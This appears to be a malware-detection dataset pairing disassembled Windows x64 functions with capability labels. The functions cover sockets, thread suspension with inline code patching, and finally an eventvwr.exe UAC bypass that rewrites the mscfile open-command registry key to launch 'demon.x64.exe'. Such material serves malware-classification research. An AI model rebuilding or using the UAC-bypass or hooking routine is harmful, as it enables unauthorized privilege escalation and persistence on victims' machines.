joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180073bf0
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x470
mov rax, qword [0x180139b10]
xor rax, rsp
mov qword [rsp + 0x460], rax
mov rdi, rdx
mov rbx, rcx
cmp rcx, 0xffffffffffffffff
jne 0x180073c3c
mov dword [rsp + 0x30], 0x2719
call fcn.1800be1e0
mov qword [rsp + 0x38], rax
or eax, ebx
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
jmp 0x180073cd6
mov qword [rsp + 0x258], rcx
mov qword [rsp + 0x48], rcx
xor ecx, ecx
mov qword [rsp + 0x490], rsi
mov dword [rsp + 0x250], 1
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_WSASetLastError]
lea ecx, [rbx + 1]
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x250]
xor edx, edx
mov qword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_select]
mov esi, eax
call fcn.1800be1e0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], eax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
test esi, esi
js 0x180073ccc
mov dword [rsp + 0x30], 0
call fcn.1800be1e0
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rdi], xmm0
mov eax, esi
mov rsi, qword [rsp + 0x490]
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.18009a820
mov rbx, qword [rsp + 0x498]
add rsp, 0x470
pop rdi
ret

Function at 0x180073e70
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x180139b10]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x40]
mov rbx, rcx
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 1
call fcn.1800be1e0
mov rbx, qword [rbx + 8]
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_WSASetLastError]
xor eax, eax
lea r9, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x48]
lea r8d, [rax + 1]
mov rcx, rbx
mov dword [rsp + 0x44], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.WS2_32.dll_WSASend]
mov ebx, eax
call fcn.1800be1e0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x40
je 0x180073ef4
cmp eax, 0x4d2
jne 0x180073ef9
call fcn.1800be1e0
test ebx, ebx
jne 0x180073f02
call fcn.1800be1e0
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18009a820
add rsp, 0x60
pop rbx
ret

Function at 0x1800760f0
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1e0
mov rax, qword [0x180139b10]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
movzx edi, dl
mov rbx, rcx
mov eax, 1
lock xadd dword [0x18014b9f0], eax
inc eax
cmp eax, 1
jne 0x18007613d
lea ecx, [rax + 1]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xchg dword [0x18014b9f4], eax
test dil, dil
je 0x180076150
xor eax, eax
lock xadd dword [0x18014b9f4], eax
test eax, eax
jne 0x180076174
mov rax, rbx
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.18009a820
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1e0
pop rdi
ret
xor ecx, ecx
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rcx
call fcn.1800be1e0
lea rdx, str.winsock
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x28], rax
call fcn.180071df0
int3
Function at 0x180077ad0
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x180139b10]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rsi, rdx
mov rbx, rcx
call fcn.1800be1e0
mov rbp, qword [rbx]
mov edi, dword [rsi + 4]
cmp rbp, 0xffffffffffffffff
jne 0x180077b0c
mov dword [rsp + 0x30], 0x2719
jmp 0x180077b68
cmp edi, 0x80
jne 0x180077b18
or byte [rbx + 8], 8
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_WSASetLastError]
mov r9, rsi
mov r8d, edi
mov edx, 0xffff
mov rcx, rbp
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov edi, eax
call fcn.1800be1e0
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], eax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
test edi, edi
jne 0x180077b7d
mov dword [rsp + 0x30], edi
call fcn.1800be1e0
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
cmp dword [rsp + 0x30], 0
jne 0x180077ba1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18009a820
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
lea rdx, str.set_option
lea rcx, [rsp + 0x30]
call fcn.180071df0
int3
Function at 0x18007e110
Capabilities:
Enumerate threads

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x180139b10]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
mov rbx, rcx
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18007e246
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x1c
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x18007e23d
cmp dword [rsp + 0x20], 0x10
jb 0x18007e21f
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x18007e184
or eax, 0xffffffff
jmp 0x18007e1a0
lea rdx, [0x1800edd88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x18007e19e
or eax, 0xffffffff
jmp 0x18007e1a0
call rax
cmp dword [rsp + 0x2c], eax
jne 0x18007e21f
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [rsp + 0x28], eax
je 0x18007e21f
mov r8, qword [rbx]
test r8, r8
jne 0x18007e1e0
mov rcx, qword [0x1801492a0]
xor edx, edx
mov r8d, 0x200
mov dword [rbx + 8], 0x80
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x18007e23d
jmp 0x18007e20f
mov eax, dword [rbx + 8]
cmp dword [rbx + 0xc], eax
jb 0x18007e20f
mov rcx, qword [0x1801492a0]
lea r9d, [rax + rax]
xor edx, edx
shl r9, 2
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
test rax, rax
je 0x18007e23d
mov ecx, dword [rbx + 8]
mov qword [rbx], rax
add ecx, ecx
mov dword [rbx + 8], ecx
mov edx, dword [rbx + 0xc]
mov rcx, qword [rbx]
mov eax, dword [rsp + 0x28]
mov dword [rcx + rdx*4], eax
inc dword [rbx + 0xc]
lea rdx, [rsp + 0x20]
mov rcx, rdi
mov dword [rsp + 0x20], 0x1c
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x18007e162
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.18009a820
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x18007e320
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
sub rsp, 0x20
xor ebx, ebx
mov rsi, rcx
cmp dword [rcx + 0xc], ebx
jbe 0x18007e378
mov qword [rsp + 0x30], rdi
nop dword [rax]
mov rax, qword [rsi]
xor edx, edx
mov r8d, dword [rax + rbx*4]
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x18007e36c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rsi + 0xc]
jb 0x18007e340
mov rdi, qword [rsp + 0x30]
mov r8, qword [rsi]
mov rcx, qword [0x1801492a0]
xor edx, edx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
Function at 0x18007e3a0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x180139b10]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov eax, ecx
mov esi, edx
mov ebp, 5
imul rbx, rax, 0x38
add rbx, qword [0x18014ccf0]
test byte [rbx + 0x20], 1
mov rdi, qword [rbx]
je 0x18007e3e8
sub rdi, rbp
mov ebp, 7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x40
mov r8, rbp
mov rcx, rax
lea rax, [rsp + 0x30]
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x18007e41b
mov eax, 0xa
jmp 0x18007e49c
test esi, esi
je 0x18007e43d
mov byte [rdi], 0xe9
mov eax, dword [rbx + 8]
sub eax, edi
sub eax, 5
mov dword [rdi + 1], eax
test byte [rbx + 0x20], 1
je 0x18007e460
mov rax, qword [rbx]
mov word [rax], 0xf9eb
jmp 0x18007e460
mov eax, dword [rbx + 0x18]
test byte [rbx + 0x20], 1
mov dword [rdi], eax
je 0x18007e459
movzx eax, word [rbx + 0x1c]
mov word [rdi + 4], ax
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 6], al
jmp 0x18007e460
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 4], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, dword [rsp + 0x30]
mov r8, rbp
mov rcx, rax
lea rax, [rsp + 0x30]
mov rdx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
and dword [rbx + 0x20], 0xfffffff9
and esi, 1
mov ecx, esi
and ecx, 0xfffffffd
lea eax, [rsi + rsi]
or ecx, eax
add ecx, ecx
or dword [rbx + 0x20], ecx
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.18009a820
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x18007e4c0
Capabilities:
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov qword [rsp + 0x28], rsp
mov r15d, ecx
xor r8d, r8d
mov edi, r8d
nop word [rax + rax]
cmp edi, dword [0x18014ccfc]
jae 0x18007e66d
mov eax, edi
imul rdx, rax, 0x38
mov rax, qword [0x18014ccf0]
mov ecx, dword [rdx + rax + 0x20]
shl ecx, 0x1e
sar ecx, 0x1f
cmp ecx, r15d
je 0x18007e666
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x30]
call fcn.18007e110
mov r13, qword [rsp + 0x30]
test r13, r13
je 0x18007e5b1
mov r12d, dword [rsp + 0x3c]
test r12d, r12d
je 0x18007e5b6
mov rbx, r13
mov r14d, r12d
nop
mov r8d, dword [rbx]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x18007e5a6
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.SuspendThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
call rax
xor r8d, r8d
test r15d, r15d
setne r8b
or edx, 0xffffffff
mov rcx, rsi
call fcn.18007df40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rbx, 4
dec r14
jne 0x18007e550
jmp 0x18007e5b6
mov r12d, dword [rsp + 0x3c]
cmp edi, dword [0x18014ccfc]
jae 0x18007e60d
mov eax, edi
imul rcx, rax, 0x38
mov rax, qword [0x18014ccf0]
mov edx, dword [rcx + rax + 0x20]
shl edx, 0x1e
sar edx, 0x1f
cmp edx, r15d
je 0x18007e605
mov edx, r15d
mov ecx, edi
call fcn.18007e3a0
mov dword [rsp + 0x78], eax
test eax, eax
je 0x18007e605
lea rdx, [0x18007e5ff]
mov rcx, qword [rsp + 0x28]
call fcn.1800ae530
nop
nop
mov eax, dword [rsp + 0x78]
jmp 0x18007e66f
inc edi
mov dword [rsp + 0x20], edi
jmp 0x18007e5b6
test r13, r13
je 0x18007e663
test r12d, r12d
je 0x18007e651
mov rsi, r13
mov r14d, r12d
nop dword [rax]
mov r8d, dword [rsi]
xor edx, edx
lea ecx, [rdx + 0x5a]
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x18007e648
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsi, 4
dec r14
jne 0x18007e620
mov r8, r13
xor edx, edx
mov rcx, qword [0x1801492a0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor r8d, r8d
inc edi
jmp 0x18007e4f0
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18008dc70
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push r14
sub rsp, 0x60
mov rax, qword [0x180139b10]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov r14, rcx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rsi, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
cmp r14, 0x2000000
jbe 0x18008dcbb
lea rax, [r14 - 0x2000000]
cmp rsi, rax
cmovbe rsi, rax
mov rbx, qword [0x18014cce8]
lea rax, [r14 + 0x2000000]
cmp rbp, rax
cmovae rbp, rax
test rbx, rbx
je 0x18008dcf2
cmp rbx, rsi
jb 0x18008dcea
cmp rbx, rbp
jae 0x18008dcea
cmp qword [rbx + 8], 0
jne 0x18008ddfd
mov rbx, qword [rbx]
test rbx, rbx
jne 0x18008dcd5
lea rcx, str.kernel32.dll
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and r14, 0xfffffffffffff000
lea rdi, [r14 - 0x1000]
mov r15, rax
cmp rdi, rsi
jb 0x18008dd62
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call r15
mov rbx, rax
test rax, rax
jne 0x18008dda0
sub rdi, 0x1000
cmp rdi, rsi
jae 0x18008dd35
jmp 0x18008dd67
test rbx, rbx
jne 0x18008dda0
lea rdi, [r14 + 0x1000]
cmp rdi, rbp
jae 0x18008dded
mov edx, 0x1000
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rdi
call r15
mov rbx, rax
test rax, rax
jne 0x18008dda0
add rdi, 0x1000
cmp rdi, rbp
jb 0x18008dd73
jmp 0x18008dded
xor eax, eax
lea rcx, [rbx + 0x40]
mov rdx, rcx
mov qword [rbx + 8], rax
mov dword [rbx + 0x10], eax
sub rdx, rbx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbx + 8]
add rdx, 0x40
mov qword [rcx], rax
mov qword [rbx + 8], rcx
add rcx, 0x40
cmp rdx, 0xfc0
jbe 0x18008ddc0
mov rax, qword [0x18014cce8]
mov qword [0x18014cce8], rbx
mov qword [rbx], rax
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.18009a820
mov rbx, qword [rsp + 0x98]
add rsp, 0x60
pop r14
pop rsi
pop rbp
ret
Function at 0x18009e858
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.18009e6c0
Function at 0x1800bfab0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
jmp 0x1800bfc90
push rdi
push r14
push r15
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov ecx, dword [0x18013ad20]
cmp ecx, 0xffffffff
jne 0x1800bfcbd
xor r14d, r14d
jmp 0x1800bfcc6
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r14, rax
mov qword [rsp + 0x50], r14
test r14, r14
je 0x1800bfdf8
mov rdi, qword [r14 + 0x18]
cmp qword [r14 + 0x28], 0
jne 0x1800bfcea
test rdi, rdi
je 0x1800bfdd1
jmp 0x1800bfcf0
test rdi, rdi
je 0x1800bfd44
nop
mov rax, qword [rdi + 8]
mov qword [r14 + 0x18], rax
mov rcx, qword [rdi]
test rcx, rcx
je 0x1800bfd27
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rdi]
mov rax, qword [rbx]
xor edx, edx
mov rcx, rbx
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [r14 + 0x18]
test rdi, rdi
jne 0x1800bfcf0
mov rsi, qword [r14 + 0x20]
mov rbx, qword [rsi]
cmp rbx, rsi
je 0x1800bfcd4
mov rdi, rbx
cmp byte [rbx + 0x19], 0
jne 0x1800bfd9e
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800bfd7e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x1800bfd9e
nop
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1800bfd70
jmp 0x1800bfd9e
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x1800bfd9b
cmp rbx, qword [rax + 0x10]
jne 0x1800bfd9b
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x1800bfd88
mov rbx, rax
mov rcx, qword [rdi + 0x28]
test rcx, rcx
je 0x1800bfdb6
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x1800bfdb6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r8, rdi
lea rdx, [rsp + 0x58]
lea rcx, [r14 + 0x20]
call fcn.1800bf5b0
cmp rbx, rsi
jne 0x1800bfd50
jmp 0x1800bfcd4
lea rdx, [0x1800bf570]
lea rcx, [0x180149108]
call fcn.1800bf190
mov ecx, dword [0x18013ad20]
cmp ecx, 0xffffffff
je 0x1800bfdf8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
test r14, r14
je 0x1800bfe22
lock dec dword [r14 + 8]
jne 0x1800bfe22
mov rax, qword [r14]
xor edx, edx
mov rcx, r14
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x1800bfc90
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
jmp 0x1800bfc90
push rdi
push r14
push r15
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rsi
mov ecx, dword [0x18013ad20]
cmp ecx, 0xffffffff
jne 0x1800bfcbd
xor r14d, r14d
jmp 0x1800bfcc6
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r14, rax
mov qword [rsp + 0x50], r14
test r14, r14
je 0x1800bfdf8
mov rdi, qword [r14 + 0x18]
cmp qword [r14 + 0x28], 0
jne 0x1800bfcea
test rdi, rdi
je 0x1800bfdd1
jmp 0x1800bfcf0
test rdi, rdi
je 0x1800bfd44
nop
mov rax, qword [rdi + 8]
mov qword [r14 + 0x18], rax
mov rcx, qword [rdi]
test rcx, rcx
je 0x1800bfd27
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rdi]
mov rax, qword [rbx]
xor edx, edx
mov rcx, rbx
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [r14 + 0x18]
test rdi, rdi
jne 0x1800bfcf0
mov rsi, qword [r14 + 0x20]
mov rbx, qword [rsi]
cmp rbx, rsi
je 0x1800bfcd4
mov rdi, rbx
cmp byte [rbx + 0x19], 0
jne 0x1800bfd9e
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800bfd7e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x1800bfd9e
nop
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1800bfd70
jmp 0x1800bfd9e
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x1800bfd9b
cmp rbx, qword [rax + 0x10]
jne 0x1800bfd9b
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x1800bfd88
mov rbx, rax
mov rcx, qword [rdi + 0x28]
test rcx, rcx
je 0x1800bfdb6
mov rdx, qword [rdi + 0x38]
test rdx, rdx
je 0x1800bfdb6
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov r8, rdi
lea rdx, [rsp + 0x58]
lea rcx, [r14 + 0x20]
call fcn.1800bf5b0
cmp rbx, rsi
jne 0x1800bfd50
jmp 0x1800bfcd4
lea rdx, [0x1800bf570]
lea rcx, [0x180149108]
call fcn.1800bf190
mov ecx, dword [0x18013ad20]
cmp ecx, 0xffffffff
je 0x1800bfdf8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
test r14, r14
je 0x1800bfe22
lock dec dword [r14 + 8]
jne 0x1800bfe22
mov rax, qword [r14]
xor edx, edx
mov rcx, r14
call qword [rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x401550
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rbp
sub rsp, 0x170
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x100], rcx
mov dword [rbp + 0xdc], 0x104
mov rdx, qword [rbp + 0x100]
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
call rax
mov dword [rbp + 0xec], eax
cmp dword [rbp + 0xec], 0
jne 0x4015a1
mov eax, 1
jmp 0x401738
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
mov rdx, qword [rbp + 0x100]
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov dword [rbp + 0xec], eax
cmp dword [rbp + 0xec], 0
je 0x4015ee
cmp dword [rbp + 0xec], 2
sete al
movzx eax, al
jmp 0x401738
mov rcx, qword [rbp + 0x100]
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
call rax
cdqe
mov rdx, qword [rbp + 0x100]
add rax, rdx
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
lea rdx, [rax + 1]
mov qword [rbp + 0xe0], rdx
mov byte [rax], 0x5c
mov rax, qword [rbp + 0xe0]
mov byte [rax], 0
mov rcx, qword [rbp - 0x38]
lea r8, [rbp + 0xdc]
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rdx
mov edx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
call rax
test eax, eax
jne 0x4016f7
lea rax, [rbp - 0x30]
mov rcx, qword [rbp + 0xe0]
mov rdx, rax
call sym.strcpy
mov rcx, qword [rbp + 0x100]
call sym.RegDelnodeRecurse
test eax, eax
je 0x4016f6
mov rcx, qword [rbp - 0x38]
lea r8, [rbp + 0xdc]
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rdx
mov edx, 0
mov rax, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
call rax
mov dword [rbp + 0xec], eax
cmp dword [rbp + 0xec], 0
je 0x40167b
jmp 0x4016f7
nop
sub qword [rbp + 0xe0], 1
mov rax, qword [rbp + 0xe0]
mov byte [rax], 0
mov rax, qword [rbp - 0x38]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov rdx, qword [rbp + 0x100]
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
call rax
test eax, eax
sete al
movzx eax, al
add rsp, 0x170
pop rbp
ret
Function at 0x4017ae
Capabilities:
Create process on windows
Get common file path
Persist via default file association registry key
Query environment variable
Set registry value
Terminate process

Disassembly:
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x140]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x140]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x140]
add rax, rdx
movabs rdi, 0x782e6e6f6d65645c
mov qword [rax], rdi
mov dword [rax + 8], 0x652e3436
mov word [rax + 0xc], 0x6578
mov byte [rax + 0xe], 0
lea rcx, str.SYSTEMROOT
call sym.getenv
mov rdx, rax
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str._sSystem32eventvwr.exe
mov rcx, rax
call sym.sprintf
call sym.RegDelnode
test eax, eax
je 0x401954
lea rax, [rbp + 0x28]
mov r8, rax
lea rdx, str.SoftwareClassesmscfile_shellopencommand
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
test eax, eax
jne 0x401957
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.strlen
mov rcx, qword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov r8d, 0
lea rdx, [0x00405054]
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
lea rax, str.open
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x30]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x20], 0
mov dword [rbp - 0x4c], 0x40
mov dword [rbp - 0x50], 0x70
mov qword [rbp - 0x48], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x18], 0
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rcx, str.___OK
call sym.puts
jmp 0x401958
nop
jmp 0x401958
nop
add rsp, 0x2d8
pop rdi
pop rbp
ret